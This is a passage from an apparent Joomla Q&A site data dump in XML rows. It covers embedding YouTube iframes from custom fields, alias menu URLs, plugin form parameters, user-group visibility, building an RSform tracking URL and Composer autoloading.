&amp;quot;https://www.youtube.com/embed/aBC_1deF_gH?rel=0&amp;amp;showinfo=0&amp;amp;autoplay=1&amp;quot;;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;The actual URL for the link is missing the video id, i.e:&#xA;&lt;code&gt;src=&amp;quot;https://www.youtube.com/embed/?rel=0&amp;amp;showinfo=0&amp;amp;autoplay=1&amp;quot;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;So the &lt;code&gt;iframe.setAttribute&lt;/code&gt; function for the src URL is not working correctly. Any idea why, please?&lt;/p&gt;&#xA;&lt;p&gt;Update 2:&#xA;I added this shortcut:&#xA;&lt;code&gt;$ytubeURL = &amp;quot;https://www.youtube.com/embed/$ytubeId?rel=0&amp;amp;showinfo=0&amp;amp;autoplay=1&amp;quot;;&lt;/code&gt;&#xA;and changed the JavaScript to:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;( function() {&#xA;&#xA;var youtube = document.querySelectorAll( &amp;quot;.ytcover&amp;quot; );&#xA;&#xA;for (var i = 0; i &amp;lt; youtube.length; i++) {&#xA;&#xA;youtube[i].addEventListener( &amp;quot;click&amp;quot;, function() {&#xA;&#xA;var iframe = document.createElement( &amp;quot;iframe&amp;quot; );&#xA;                iframe.setAttribute( &amp;quot;frameborder&amp;quot;, &amp;quot;0&amp;quot; );&#xA;                iframe.setAttribute( &amp;quot;allowfullscreen&amp;quot;, &amp;quot;&amp;quot; );&#xA;                iframe.setAttribute( &amp;quot;src&amp;quot;, &amp;quot;&amp;lt;?php echo $ytubeURL; ?&amp;gt;&amp;quot; );&#xA;this.innerHTML = &amp;quot;&amp;quot;;&#xA;            this.appendChild( iframe );&#xA;        } );    &#xA;    };&#xA;} )();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When the html source code is viewed, the full URL is displayed in the script, but when clicking the link on the front end, and viewing via developer tools, the actual URL is still missing the YouTube ID:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/UuKSW.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UuKSW.jpg&quot; alt=&quot;Front-end Screenshot with dev tools&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13040" LastEditorUserId="13040" LastEditDate="2023-05-03T12:03:13.247" LastActivityDate="2023-05-07T09:31:09.387" Title="How can I query a custom field value in JavaScript?" Tags="|php|joomla-4.x|javascript|custom-field|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33020" PostTypeId="1" CreationDate="2023-05-02T20:01:28.993" Score="1" ViewCount="92" Body="&lt;p&gt;In J4, I have a menu item (in main menu) loading a single article and I've added a unique class via the menu Page Display &amp;gt;&amp;gt; Page Class.&#xA;It has an alias of &amp;quot;commercial&amp;quot; and when used from the front end the URL is &lt;code&gt;/commercial&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I have created another menu with a menu item that is an alias item pointing to the above menu item. The alias on this menu item is &amp;quot;commercial-info&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;However, when visiting the link on the front-end, the page class is not used and the URL is &lt;code&gt;/?itemid=223&lt;/code&gt; (the id number of the alias menu item (not the one it points to).&lt;/p&gt;&#xA;&lt;p&gt;Also, the &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; gets a class added &lt;code&gt;no-layout no-task dir-ltr itemid-233&lt;/code&gt; (as well as a number of other miscellaneous classes added).&lt;/p&gt;&#xA;&lt;p&gt;(updated)&lt;/p&gt;&#xA;&lt;p&gt;The custom module that is creating the links is building the links using this  code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$menuItemURL = Route::_(&amp;quot;index.php?Itemid={$menuItem-&amp;gt;id}&amp;quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So the question is, how can I get the REAL URL using &lt;code&gt;Route::_&lt;/code&gt; when the menu is an alias? (The above &lt;code&gt;Route::_&lt;/code&gt; works fine for all other menu types other than alias).&lt;/p&gt;&#xA;" OwnerUserId="12624" LastEditorUserId="12352" LastEditDate="2023-05-02T22:32:16.930" LastActivityDate="2023-05-15T19:10:06.673" Title="Joomla 4 Alias Menu loses original menu class" Tags="|joomla-4.x|menu-item|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33022" PostTypeId="2" ParentId="33018" CreationDate="2023-05-03T09:33:58.740" Score="0" Body="&lt;p&gt;Solved it. The &lt;code&gt;static $options = [];&lt;/code&gt; cache needed to be taken inside the function. That way the API is only called once.&lt;/p&gt;&#xA;" OwnerUserId="15761" LastActivityDate="2023-05-03T09:33:58.740" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33023" PostTypeId="1" AcceptedAnswerId="33058" CreationDate="2023-05-03T14:21:01.200" Score="1" ViewCount="82" Body="&lt;p&gt;I have a plugin which needs to change its parameter configuration depending on some conditions upon configuring in backend. The plugin using the SubscriberInterface because it is listening to some events.&lt;/p&gt;&#xA;&lt;p&gt;This field value needs to change dynamicaly in the backend editing of the system plugin using it.&lt;/p&gt;&#xA;&lt;p&gt;Here is a simple version:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class MyPlugin extends CMSPlugin implements SubscriberInterface&#xA;{&#xA;    protected $app;&#xA;    protected $autoloadLanguage = true;&#xA;&#xA;    public static function getSubscribedEvents(): array&#xA;    {&#xA;        return [&#xA;            'onContentPrepareForm'  =&amp;gt; 'onContentPrepareForm',&#xA;             // custom events following here&#xA;        ];&#xA;    }&#xA;&#xA;    public function __construct(&amp;amp;$subject, $config)&#xA;    {&#xA;        parent::__construct($subject, $config);&#xA;    }&#xA;&#xA;    public function onContentPrepareForm(Event $event)&#xA;    {&#xA;        $form = $event-&amp;gt;getArgument('0');&#xA;        $data = $event-&amp;gt;getArgument('1'); &#xA;&#xA;        // works&#xA;        $form-&amp;gt;removeField('provider', 'params');&#xA;&#xA;        // none of this works&#xA;        $data-&amp;gt;provider = 'custom';  &#xA;        $form-&amp;gt;setValue('provider', null, 'custom');&#xA;        $form-&amp;gt;setValue('provider', '', 'custom');&#xA;        $form-&amp;gt;setValue('provider', 'params', 'custom');&#xA;        $form-&amp;gt;setValue('jform[params][provider]', '', 'custom');&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here is the important piece of the xml&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;config&amp;gt;&#xA;        &amp;lt;fields name=&amp;quot;params&amp;quot;&amp;gt;&#xA;            &amp;lt;fieldset name=&amp;quot;basic&amp;quot;&amp;gt;&#xA;                &amp;lt;field name=&amp;quot;provider&amp;quot; label=&amp;quot;Provider&amp;quot; type=&amp;quot;text&amp;quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3&gt;Update&lt;/h3&gt;&#xA;&lt;p&gt;I found out i can do this inside the &lt;code&gt;onContentPrepareForm&lt;/code&gt; or &lt;code&gt;onContentPrepareData&lt;/code&gt; function:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$data-&amp;gt;params['provider'] = 'xxxxxxxxxx';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But this feels kind of weird. Maybe there is a better solution.&lt;/p&gt;&#xA;" OwnerUserId="15761" LastEditorUserId="15761" LastEditDate="2023-05-03T17:28:11.533" LastActivityDate="2023-05-17T18:42:13.227" Title="Changing plugin parameter field value dynamicaly" Tags="|plugin|form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33024" PostTypeId="2" ParentId="33019" CreationDate="2023-05-03T16:13:24.243" Score="1" Body="&lt;p&gt;&lt;strong&gt;I wanted to write&lt;/strong&gt; that in every web-developer's life there comes a time when he/she meets with the iFrame problem (passing PHP variables to it and it can have complications), since iFrame is a &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Glossary/Browsing_context&quot; rel=&quot;nofollow noreferrer&quot;&gt;new browsing context (a new document)&lt;/a&gt;... But before writing a long boring essay on that, I decided to do a fast test of your code to see whether it is working in my local environment or not. Could I replicate your issue or not. And I have to say it is working on my local Joomla4 without the problem you described above in your question.&lt;/p&gt;&#xA;&lt;p&gt;I just actually pasted your code in one of my test view/layout with very tiny modification in the code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;$ytubeURL = &amp;quot;https://www.youtube.com/watch?v=uXCipjbcQfM&amp;quot;; // simply the youtube video watch URL is copied&#xA;$video_id = youTubeGetID($ytubeURL);&#xA;&#xA;function youTubeGetID($url) {&#xA;    // this function should be worked out for making a bit more sophisticated&#xA;    // to check the input url value - if it is OK or not, otherwise could fail&#xA;    // if the YT video URL format is not like the given example&#xA;    $url = explode(&amp;quot;v=&amp;quot;, $url);&#xA;    return $url[1];&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div class=&amp;quot;yt-section&amp;quot;&amp;gt;&#xA;    &amp;lt;p class=&amp;quot;strong&amp;quot;&amp;gt;here we'll have a youtube video&amp;lt;/p&amp;gt;    &#xA;    &amp;lt;div class=&amp;quot;ytcover&amp;quot;&amp;gt;&#xA;        &amp;lt;img src=&amp;lt;?php echo &amp;quot;http://img.youtube.com/vi/&amp;quot; . $video_id . &amp;quot;/hqdefault.jpg&amp;quot;?&amp;gt; alt=&amp;quot;&amp;quot;&amp;gt; &#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;p class=&amp;quot;strong&amp;quot;&amp;gt;here we'll have another youtube video&amp;lt;/p&amp;gt;    &#xA;    &amp;lt;div class=&amp;quot;ytcover&amp;quot;&amp;gt;&#xA;        &amp;lt;img src=&amp;lt;?php echo &amp;quot;http://img.youtube.com/vi/&amp;quot; . $video_id . &amp;quot;/hqdefault.jpg&amp;quot;?&amp;gt; alt=&amp;quot;&amp;quot;&amp;gt; &#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;script&amp;gt;&#xA;&#xA;( function() {&#xA;&#xA;const youtube = document.querySelectorAll( &amp;quot;.ytcover&amp;quot; );&#xA;&#xA;for (let i = 0; i &amp;lt; youtube.length; i++) {&#xA;&#xA;    youtube[i].addEventListener( &amp;quot;click&amp;quot;, function() {&#xA;&#xA;        let iframe = document.createElement( &amp;quot;iframe&amp;quot; );&#xA;                        iframe.setAttribute( &amp;quot;frameborder&amp;quot;, &amp;quot;0&amp;quot; );&#xA;                        iframe.setAttribute( &amp;quot;allowfullscreen&amp;quot;, &amp;quot;&amp;quot; );&#xA;                        iframe.setAttribute( &amp;quot;src&amp;quot;, &amp;quot;&amp;lt;?php echo &amp;quot;https://www.youtube.com/embed/&amp;quot; . $video_id; ?&amp;gt;&amp;quot; );&#xA;        this.innerHTML = &amp;quot;&amp;quot;;&#xA;        this.appendChild( iframe );&#xA;        } );    &#xA;    };&#xA;} )();&#xA;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I used the normal &lt;strong&gt;watch URL&lt;/strong&gt; of the youtube video (copy and paste from the browser). I stripped the &lt;strong&gt;ID&lt;/strong&gt; of the video that I used to get the video image and also used that ID to create the &lt;strong&gt;embed&lt;/strong&gt; video link in the iFrame. I was not able to duplicate the problem this way.&lt;/p&gt;&#xA;&lt;p&gt;I link my visual results where you can see that it is working in my layout:&#xA;&lt;a href=&quot;https://ibb.co/bzYdbY5&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ibb.co/bzYdbY5&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Updated javascript sample:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here I link for you my codepen example with an updated script that is iterating over youtube video IDs, creating video cover images then on clicks it displays the embedded videos:&#xA;&lt;a href=&quot;https://codepen.io/Zollie01/pen/JjmMBYw?editors=1111&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://codepen.io/Zollie01/pen/JjmMBYw?editors=1111&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;——————-&lt;/p&gt;&#xA;&lt;p&gt;And just to make sure, a helpful additional info for applying the above Javascript in Joomla layout:&#xA;&lt;strong&gt;converting PHP array to javascript array in the same layout:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;In PHP you define an array of Ids for example:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;$video_ids = json_encode([$vidid1, $vidid2, $vidid3]);&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then in javascript:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;const videoIDs = &amp;lt;?php echo $video_ids ?&amp;gt;;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&amp;lt;&amp;lt; LAST UPDATE ON THIS &amp;gt;&amp;gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;What the hell do we want to do with &lt;code&gt;$this-&amp;gt;item-&amp;gt;jcfields[1]-&amp;gt;value&lt;/code&gt; here throughout multiple articles? So let's run this one more time and let's just do the whole thing in javascript. I hope you can follow and use this finally:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt; create few custom Text fields which will be the &lt;strong&gt;video ID text fields&lt;/strong&gt; (you already have this but you have to carefully follow the second point).&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt; Important! At &lt;strong&gt;Edit Field -&amp;gt; Options -&amp;gt; Display Options -&amp;gt; Value class&lt;/strong&gt; add a class name for these fields values &lt;code&gt;ytvideoid hidden&lt;/code&gt; - this is important since the javascript finds these fields by this value (by this class name)!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;3.&lt;/strong&gt; Insert 2 or 3 of these video ID fields to articles with different video ID values. I know, You already did that, but important now to follow the 2. point above on this with these custom fields regarding the value class names. The fields in html source have to have it &lt;code&gt;ytvideoid&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;4.&lt;/strong&gt; Also important! Do not edit or customize or add anything to the PHP Joomla layouts for this, do not add any HTML, no any value, no any PHP code, other than this javascript script at the end of the layout:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;&#xA;window.addEventListener('load', ev =&amp;gt; {&#xA;&#xA;    // the video ID fields from the page if &#xA;    // it has any video id custom field published by Joomla&#xA;    let sourceNodes = document.querySelectorAll(&amp;quot;.ytvideoid&amp;quot;);&#xA;&#xA;    // const sourceValues = sourceNodes.values(); // if needed&#xA;&#xA;    if (sourceNodes.length) {&#xA;&#xA;        const videoIds = [];&#xA;&#xA;        for (const val of sourceNodes) {&#xA;            const id = val.innerText;&#xA;            &#xA;            if (id !== &amp;quot;&amp;quot;) {&#xA;                videoIds.push(id);&#xA;            }&#xA;        }&#xA;    &#xA;        if (videoIds.length) {&#xA;&#xA;            sourceNodes.forEach((el, index) =&amp;gt; {&#xA;                el.classList.remove(&amp;quot;hidden&amp;quot;);&#xA;                el.innerHTML = &amp;quot;&amp;quot;;&#xA;                let coverimage = document.createElement( &amp;quot;img&amp;quot; );&#xA;                coverimage.setAttribute(&amp;quot;src&amp;quot;, &amp;quot;https://img.youtube.com/vi/&amp;quot; + videoIds[index] + &amp;quot;/hqdefault.jpg&amp;quot;);&#xA;                el.appendChild(coverimage);&#xA;            });&#xA;&#xA;            for (let i = 0; i &amp;lt; sourceNodes.length; i++) {&#xA;&#xA;                sourceNodes[i].addEventListener( &amp;quot;click&amp;quot;, function() {&#xA;&#xA;                    let iframe = document.createElement( &amp;quot;iframe&amp;quot; );&#xA;                        iframe.setAttribute( &amp;quot;frameborder&amp;quot;, &amp;quot;0&amp;quot; );&#xA;                        iframe.setAttribute( &amp;quot;allowfullscreen&amp;quot;, &amp;quot;&amp;quot; );&#xA;                        iframe.setAttribute( &amp;quot;src&amp;quot;, &amp;quot;https://www.youtube.com/embed/&amp;quot; + videoIds[i]); &#xA;                    this.innerHTML = &amp;quot;&amp;quot;;&#xA;                    this.appendChild( iframe );&#xA;                });    &#xA;            }&#xA;        }&#xA;    }&#xA;});&#xA;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Before javascript runs, the HTML created by Joomla with these custom text fields should be exactly like in this codepen:&#xA;&lt;a href=&quot;https://codepen.io/Zollie01/pen/XWxVLLQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://codepen.io/Zollie01/pen/XWxVLLQ&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;And everything should work like in this codepen.&lt;/p&gt;&#xA;&lt;p&gt;As an extra mile, Gillian set up a demo site for this and the script is applied now on Joomla:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://ytubetest.joomla.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ytubetest.joomla.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2023-05-07T09:31:09.387" LastActivityDate="2023-05-07T09:31:09.387" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33025" PostTypeId="1" CreationDate="2023-05-03T23:02:13.163" Score="1" ViewCount="29" Body="&lt;p&gt;We have a commercial application used by different companies. We created custom user groups and access levels (not using Author, Editor, etc).&lt;/p&gt;&#xA;&lt;p&gt;We have a group called SiteAdmin. This customer group has access to the Administrator console and can Enable/Disable end users and assign them to groups.&lt;/p&gt;&#xA;&lt;p&gt;We have a group called ABCAdmin. This group is for developers and people who work at our company. I have them in the Groups hierarch 'under'  - a child of - SiteAdmin. This group has more rights than SiteAdmin and can access components that SiteAdmin cannot.&lt;/p&gt;&#xA;&lt;p&gt;The trouble is, SiteAdmin can see and assign this group to their users. Can I stop this? Can I hide this group?&lt;/p&gt;&#xA;" OwnerUserId="11058" LastEditorUserId="12352" LastEditDate="2023-05-04T03:38:33.343" LastActivityDate="2023-05-20T18:50:48.157" Title="Hiding a custom Joomla Admin User Group" Tags="|user-groups|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33026" PostTypeId="1" CreationDate="2023-05-04T00:07:04.370" Score="0" ViewCount="31" Body="&lt;p&gt;I have this Code. I don't know PHP, but I got the result I wanted. Almost. As you can see, the output will include empty URL parameters if none are provided. Some fields will always be filled, others not. All code snippets are tested in the PHP scripts called on form process field.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$_POST['form'] ['tracking-url'] = $_POST['form']['host'][0] . &amp;quot;/landing/&amp;quot; . $_POST['form']['lottery'][0] . &amp;quot;/&amp;quot; . $_POST['form']['product'][0] . &amp;quot;/?cid=&amp;quot; . $_POST['form']['campaign-id'] . &amp;quot;&amp;amp;hl=&amp;quot; . $_POST['form']['hl'] . &amp;quot;&amp;amp;bp=&amp;quot; . $_POST['form']['bp'] . &amp;quot;&amp;amp;ba=&amp;quot; . $_POST['form']['ba'] . &amp;quot;&amp;amp;btn=&amp;quot; . $_POST['form']['btn'] . &amp;quot;&amp;amp;hr=&amp;quot; . $_POST['form']['hr'] . &amp;quot;&amp;amp;sl=&amp;quot; . $_POST['form']['sl'] . &amp;quot;&amp;amp;alert=&amp;quot; . $_POST['form']['alert'] . &amp;quot;&amp;amp;l=&amp;quot; . $_POST['form']['l'] . &amp;quot;&amp;amp;wbkz=&amp;quot; . $_POST['form']['wbkz'] . &amp;quot;&amp;amp;coupon-set=&amp;quot; . $_POST['form']['coupon'] . &amp;quot;&amp;amp;utm_source=&amp;quot; . $_POST['form']['utmsource'] . &amp;quot;&amp;amp;utm_medium=&amp;quot; . $_POST['form']['utmmedium'] . &amp;quot;&amp;amp;utm_campaign=&amp;quot; . $_POST['form']['utmcampaign'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Eg resulting in this:&#xA;&lt;code&gt;https://www.domain.tls/page/?id=0251&amp;amp;hl=&amp;amp;bp=&amp;amp;ba=&amp;amp;btn=&amp;amp;hr=&amp;amp;sl=&amp;amp;alert=&amp;amp;l=**&amp;amp;wbkz=12345&amp;amp;coupon123&amp;amp;utm_source=dsdgsd&amp;amp;utm_medium=gsdgsdg&amp;amp;utm_campaign=150_dsdgsd_gsdgsdg_traumjoker_0251&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;How can I output only the url parameters with their values if they are available?&lt;/p&gt;&#xA;&lt;p&gt;I tried something like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if (!empty($_POST['form']['host'][0])) {&#xA;  $tracking_url = $_POST['form']['host'][0] . &amp;quot;/landing/&amp;quot;;&#xA; &#xA;  if (!empty($_POST['form']['lottery'][0])) {&#xA;    $tracking_url .= $_POST['form']['lottery'][0] . &amp;quot;/&amp;quot;;&#xA;   &#xA;    if (!empty($_POST['form']['product'][0])) {&#xA;      $tracking_url .= $_POST['form']['product'][0] . &amp;quot;/?cid=&amp;quot;;&#xA;     &#xA;      if (!empty($_POST['form']['campaign-id'])) {&#xA;        $tracking_url .= $_POST['form']['campaign-id'];&#xA;      }&#xA;      if (!empty($_POST['form']['hl'])) {&#xA;        $tracking_url .= &amp;quot;&amp;amp;hl=&amp;quot; . $_POST['form']['hl'];&#xA;      }&#xA;      if (!empty($_POST['form']['bp'])) {&#xA;        $tracking_url .= &amp;quot;&amp;amp;bp=&amp;quot; . $_POST['form']['bp'];&#xA;      }&#xA;      if (!empty($_POST['form']['ba'])) {&#xA;        $tracking_url .= &amp;quot;&amp;amp;ba=&amp;quot; . $_POST['form']['ba'];&#xA;      }&#xA;      if (!empty($_POST['form']['btn'])) {&#xA;        $tracking_url .= &amp;quot;&amp;amp;btn=&amp;quot; . $_POST['form']['btn'];&#xA;      }&#xA;      if (!empty($_POST['form']['hr'])) {&#xA;        $tracking_url .= &amp;quot;&amp;amp;hr=&amp;quot; . $_POST['form']['hr'];&#xA;      }&#xA;      if (!empty($_POST['form']['sl'])) {&#xA;        $tracking_url .= &amp;quot;&amp;amp;sl=&amp;quot; . $_POST['form']['sl'];&#xA;      }&#xA;      if (!empty($_POST['form']['alert'])) {&#xA;        $tracking_url .= &amp;quot;&amp;amp;alert=&amp;quot; . $_POST['form']['alert'];&#xA;      }&#xA;      if (!empty($_POST['form']['l'])) {&#xA;        $tracking_url .= &amp;quot;&amp;amp;l=&amp;quot; . $_POST['form']['l'];&#xA;      }&#xA;      if (!empty($_POST['form']['wbkz'])) {&#xA;        $tracking_url .= &amp;quot;&amp;amp;wbkz=&amp;quot; . $_POST['form']['wbkz'];&#xA;      }&#xA;      if (!empty($_POST['form']['coupon'])) {&#xA;        $tracking_url .= &amp;quot;&amp;amp;coupon-set=&amp;quot; . $_POST['form']['coupon'];&#xA;      }&#xA;      if (!empty($_POST['form']['utmsource'])) {&#xA;        $tracking_url .= &amp;quot;&amp;amp;utm_source=&amp;quot; . $_POST['form']['utmsource'];&#xA;      }&#xA;      if (!empty($_POST['form']['utmmedium'])) {&#xA;        $tracking_url .= &amp;quot;&amp;amp;utm_medium=&amp;quot; . $_POST['form']['utmmedium'];&#xA;      }&#xA;      if (!empty($_POST['form']['utmcampaign'])) {&#xA;        $tracking_url .= &amp;quot;&amp;amp;utm_campaign=&amp;quot; . $_POST['form']['utmcampaign'];&#xA;      }&#xA;    }&#xA;  }&#xA;}&#xA;&#xA;echo $tracking_url;&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$_POST['form']['tracking-url'] = '';&#xA;&#xA;if (!empty($_POST['form']['host'][0])) {&#xA;    $tracking_url .= $_POST['form']['host'][0];&#xA;}&#xA;&#xA;if (!empty($_POST['form']['lottery'][0])) {&#xA;    $tracking_url .= &amp;quot;/landing/&amp;quot; . $_POST['form']['lottery'][0];&#xA;}&#xA;&#xA;if (!empty($_POST['form']['product'][0])) {&#xA;    $tracking_url .= &amp;quot;/&amp;quot; . $_POST['form']['product'][0];&#xA;}&#xA;&#xA;$params = array(&#xA;    'cid',&#xA;    'hl',&#xA;    'bp',&#xA;    'ba',&#xA;    'btn',&#xA;    'hr',&#xA;    'sl',&#xA;    'alert',&#xA;    'l',&#xA;    'wbkz',&#xA;    'coupon',&#xA;    'utmsource',&#xA;    'utmmedium',&#xA;    'utmcampaign'&#xA;);&#xA;&#xA;foreach ($params as $param) {&#xA;    if (!empty($_POST['form'][$param])) {&#xA;        $tracking_url .= '&amp;amp;' . $param . '=' . $_POST['form'][$param];&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;None of them work, the output is empty. As I don't know PHP I'm sure I'm missing something trivial.&lt;/p&gt;&#xA;&lt;p&gt;I tried several solutions and asked in forums. I exspect a tracking url with only the parameters for which are values provided. If there are no values provided, they should be skipped in the output, resulting in a shorter and cleaner URL.&lt;/p&gt;&#xA;&lt;p&gt;++++++++++++++++++++&lt;/p&gt;&#xA;&lt;p&gt;SOLUTION:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$url_parameters = array(&#xA;    'cid' =&amp;gt; $_POST['form']['campaign-id'],&#xA;    'hl' =&amp;gt; $_POST['form']['hl'],&#xA;    'bp' =&amp;gt; $_POST['form']['bp'],&#xA;    'ba' =&amp;gt; $_POST['form']['ba'],&#xA;    'btn' =&amp;gt; $_POST['form']['btn'],&#xA;    'hr' =&amp;gt; $_POST['form']['hr'],&#xA;    'sl' =&amp;gt; $_POST['form']['sl'],&#xA;    'alert' =&amp;gt; $_POST['form']['alert'],&#xA;    'l' =&amp;gt; $_POST['form']['l'],&#xA;    'wbkz' =&amp;gt; $_POST['form']['wbkz'],&#xA;    'coupon-set' =&amp;gt; $_POST['form']['coupon'],&#xA;    'utm_source' =&amp;gt; $_POST['form']['utmsource'],&#xA;    'utm_medium' =&amp;gt; $_POST['form']['utmmedium'],&#xA;    'utm_campaign' =&amp;gt; $_POST['form']['utmcampaign']&#xA;);&#xA;&#xA;$url_params = array();&#xA;&#xA;foreach ($url_parameters as $key =&amp;gt; $value) {&#xA;    if (!empty($value)) {&#xA;        $url_params[] = $key . &amp;quot;=&amp;quot; . $value;&#xA;    }&#xA;}&#xA;&#xA;$tracking_url = $_POST['form']['host'][0] . &amp;quot;/landing/&amp;quot; . $_POST['form']['lottery'][0] . &amp;quot;/&amp;quot; . $_POST['form']['product'][0] . &amp;quot;/?&amp;quot; . implode('&amp;amp;', $url_params);&#xA;$_POST['form']['tracking-url'] = $tracking_url;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17042" LastEditorUserId="17042" LastEditDate="2023-05-04T08:39:31.643" LastActivityDate="2023-05-04T08:39:31.643" Title="RSform: How to skip strings in query output if variables are empty?" Tags="|php|rsform|joomla-3.10|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33027" PostTypeId="2" ParentId="32926" CreationDate="2023-05-04T06:28:41.010" Score="0" Body="&lt;p&gt;Joomla uses &lt;a href=&quot;https://getcomposer.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Composer&lt;/a&gt; package manager to manage its dependencies and to autoload its classes. Composer autoloader follows &lt;a href=&quot;https://www.php-fig.org/psr/psr-4/&quot; rel=&quot;nofollow noreferrer&quot;&gt;PSR-4&lt;/a&gt; autoloading standard. In case you've never heard of these before, start by reading the linked documentation.&lt;/p&gt;&#xA;&lt;p&gt;In short, Composer projects define their dependencies, autoloading rules and other project settings in a &lt;code&gt;composer.json&lt;/code&gt; file. But Joomla CMS does not ship this file as the CMS doesn't (yet) support managing dependencies after installation (e.g. extensions can't use the top level Composer instance). You can see this file when running the CMS from a development environment, (i.e. from the &lt;a href=&quot;https://github.com/joomla/joomla-cms/&quot; rel=&quot;nofollow noreferrer&quot;&gt;repository&lt;/a&gt;). In this file you'll find this &lt;code&gt;autoload&lt;/code&gt; directive:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;quot;autoload&amp;quot;: {&#xA;    &amp;quot;psr-4&amp;quot;: {&#xA;        &amp;quot;Joomla\\CMS\\&amp;quot;: &amp;quot;libraries/src/&amp;quot;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;What it means is that classes in &lt;code&gt;libraries/src/&lt;/code&gt; follow PSR-4 autoloading and have &lt;code&gt;Joomla\CMS\&lt;/code&gt; namespace prefix. PSR-4 standard essentially maps class name to a file name, using namespace separator as directory separator and adding the &lt;code&gt;php&lt;/code&gt; extension. Therefore, &lt;code&gt;Joomla\CMS\Version&lt;/code&gt; class is mapped to &lt;code&gt;libraries/src/Version.php&lt;/code&gt; file. And a deeper namespace class like &lt;code&gt;Joomla\CMS\Application\SiteApplication&lt;/code&gt; would be mapped to &lt;code&gt;libraries/src/Application/SiteApplication.php&lt;/code&gt; file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;Joomla\Utilities\IpHelper&lt;/code&gt;, meanwhile, is not a class of the CMS but a class of a dependency. Particularly, &lt;a href=&quot;https://github.com/joomla-framework/utilities&quot; rel=&quot;nofollow noreferrer&quot;&gt;joomla/utilities&lt;/a&gt; package. It is required in the &lt;code&gt;composer.json&lt;/code&gt; file of the CMS:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;quot;require&amp;quot;: {&#xA;   